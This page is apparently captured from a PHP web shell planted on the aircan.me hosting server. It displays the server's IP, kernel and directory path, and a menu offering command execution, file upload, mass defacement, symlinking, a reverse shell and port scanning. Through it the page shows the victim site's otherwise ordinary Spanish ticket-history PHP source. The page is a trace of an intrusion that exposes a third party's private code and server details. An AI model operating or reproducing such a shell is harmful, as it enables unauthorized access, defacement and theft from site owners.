Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
soporte
/
cliente
/
Viewing: resueltos.php
<?php // cliente/resueltos.php session_start(); require_once '../auth/database.php'; date_default_timezone_set('America/Managua'); // Verificación de seguridad if (!isset($_SESSION['user_id']) || $_SESSION['rol'] !== 'cliente') { header("Location: ../auth/login.php"); exit; } $user_id = $_SESSION['user_id']; $cliente_id = null; $tickets = []; try { // 1. Obtener el ID del cliente $stmt_cliente = $pdo->prepare("SELECT id FROM clientes WHERE usuario_id = ?"); $stmt_cliente->execute([$user_id]); $cliente_data = $stmt_cliente->fetch(); if ($cliente_data) { $cliente_id = $cliente_data['id']; // 2. Obtener todos los tickets del cliente ordenados por los más recientes $stmt_tickets = $pdo->prepare("SELECT * FROM tickets WHERE cliente_id = ? ORDER BY fecha_creacion DESC"); $stmt_tickets->execute([$cliente_id]); $tickets = $stmt_tickets->fetchAll(); } } catch (PDOException $e) { die("Error al cargar el historial: " . $e->getMessage()); } // Función para determinar el estilo del estado function obtenerEstiloEstado($estado_db) { $estado = strtolower($estado_db); // Agrupamos los estados en "Resueltos" y "En Proceso" para la vista del cliente if (in_array($estado, ['actualizado', 'reparado'])) { return [ 'clase' => 'bg-green-100 text-green-700 border-green-200', 'icono' => 'fa-check-double', 'texto' => 'Resuelto' ]; } elseif (in_array($estado, ['sin revisar', 'revisando', 'actualizando'])) { return [ 'clase' => 'bg-blue-100 text-blue-700 border-blue-200', 'icono' => 'fa-bars-progress', 'texto' => 'En Proceso (' . ucfirst($estado) . ')' ]; } elseif ($estado === 'no renovar') { return [ 'clase' => 'bg-orange-100 text-[#FF8C00] border-orange-200', 'icono' => 'fa-ban', 'texto' => 'Cancelado / No Renovar' ]; } else { return [ 'clase' => 'bg-gray-100 text-gray-700 border-gray-200', 'icono' => 'fa-circle-info', 'texto' => ucfirst($estado) ]; } } ?> <!DOCTYPE html> <html lang="es" class="h-full bg-[#F8FAFC]"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Historial de Tickets - Stone Dev</title> <script src="https://cdn.tailwindcss.com"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css"> <link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;600;700;800&display=swap" rel="stylesheet"> <style> body { font-family: 'Montserrat', sans-serif; } </style> </head> <body class="h-full flex overflow-hidden text-gray-800"> <?php include 'includes/sidebar.php'; ?> <div class="flex-1 flex flex-col h-full overflow-y-auto"> <?php include 'includes/header.php'; ?> <main class="p-4 lg:p-8 space-y-6 lg:space-y-8 max-w-7xl mx-auto w-full"> <div class="flex flex-col sm:flex-row sm:items-center justify-between gap-4 border-b border-gray-200 pb-4"> <div> <h2 class="text-xl lg:text-2xl font-extrabold text-[#6D28D9]">Historial de Reportes</h2> <p class="text-xs lg:text-sm text-gray-500 mt-1">Revisa el estado de todos tus tickets, tanto los resueltos como los que están en proceso.</p> </div> <a href="soporte.php" class="bg-[#FFD700] hover:bg-yellow-400 text-[#1a0b2e] font-extrabold py-2 px-6 rounded-xl transition-all shadow-md uppercase tracking-wider text-xs flex items-center space-x-2 w-fit"> <i class="fa-solid fa-plus"></i> <span>Nuevo Ticket</span> </a> </div> <?php if (empty($tickets)): ?> <div class="bg-white rounded-2xl shadow-sm border border-gray-100 p-12 text-center flex flex-col items-center justify-center"> <div class="w-20 h-20 bg-gray-50 text-gray-300 rounded-full flex items-center justify-center mb-4"> <i class="fa-solid fa-inbox text-4xl"></i> </div> <h3 class="text-lg font-bold text-gray-800 mb-2">No hay tickets registrados</h3> <p class="text-sm text-gray-500 max-w-md">Aún no has generado ningún reporte de soporte técnico en el sistema.</p> </div> <?php else: ?> <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6"> <?php foreach ($tickets as $ticket): $estilo = obtenerEstiloEstado($ticket['estado']); $urgencia = strtolower($ticket['urgencia']); $col_urg = ($urgencia == 'baja') ? 'text-gray-500' : (($urgencia == 'media') ? 'text-blue-500' : (($urgencia == 'alta') ? 'text-orange-500' : 'text-red-600')); ?> <div class="bg-white rounded-2xl shadow-sm border border-gray-100 flex flex-col overflow-hidden hover:shadow-md transition-shadow"> <div class="p-5 border-b border-gray-100 flex justify-between items-start bg-gray-50/50"> <div> <h4 class="font-black text-gray-800 text-lg"><?= htmlspecialchars($ticket['numero_ticket']) ?></h4> <p class="text-[10px] font-bold text-gray-400 uppercase tracking-wider mt-1"><?= date('d M Y - h:i A', strtotime($ticket['fecha_creacion'])) ?></p> </div> <span class="<?= $estilo['clase'] ?> border px-3 py-1.5 rounded-lg text-[10px] font-extrabold uppercase tracking-wider flex items-center shadow-sm"> <i class="fa-solid <?= $estilo['icono'] ?> mr-1.5"></i> <?= $estilo['texto'] ?> </span> </div> <?php if (!empty($ticket['imagen'])): ?> <div class="w-full h-40 bg-gray-100 relative group overflow-hidden border-b border-gray-100"> <img src="<?= htmlspecialchars($ticket['imagen']) ?>" alt="Evidencia del ticket" class="w-full h-full object-cover transition-transform duration-300 group-hover:scale-105"> <a href="<?= htmlspecialchars($ticket['imagen']) ?>" target="_blank" class="absolute inset-0 bg-black/40 opacity-0 group-hover:opacity-100 transition-opacity flex items-center justify-center"> <span class="bg-white text-gray-900 px-4 py-2 rounded-lg text-xs font-bold shadow-lg flex items-center"> <i class="fa-solid fa-expand mr-2"></i> Ver Imagen Completa </span> </a> </div> <?php else: ?> <div class="w-full h-12 bg-gray-50 border-b border-gray-100 flex items-center justify-center text-gray-300"> <p class="text-[10px] font-bold uppercase tracking-widest"><i class="fa-solid fa-image-slash mr-1"></i> Sin imagen adjunta</p> </div> <?php endif; ?> <div class="p-5 flex-1 flex flex-col"> <p class="text-[10px] font-bold text-gray-400 uppercase tracking-wider mb-2">Descripción del problema</p> <p class="text-sm text-gray-600 font-medium italic line-clamp-3 mb-4 flex-1"> "<?= htmlspecialchars($ticket['motivo']) ?>" </p> <div class="flex items-center justify-between pt-4 border-t border-gray-100"> <div> <p class="text-[10px] font-bold text-gray-400 uppercase tracking-wider">Urgencia</p> <p class="font-bold uppercase text-xs <?= $col_urg ?>"> <i class="fa-solid fa-circle text-[8px] mr-1"></i> <?= htmlspecialchars($urgencia) ?> </p> </div> <?php if (strtolower($ticket['estado']) === 'sin revisar'): ?> <a href="soporte.php" class="text-[#6D28D9] hover:text-[#5B21B6] text-xs font-bold underline"> Editar ticket </a> <?php endif; ?> </div> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> </main> </div> </body> </html>
Coded With 💗 by
0x6ick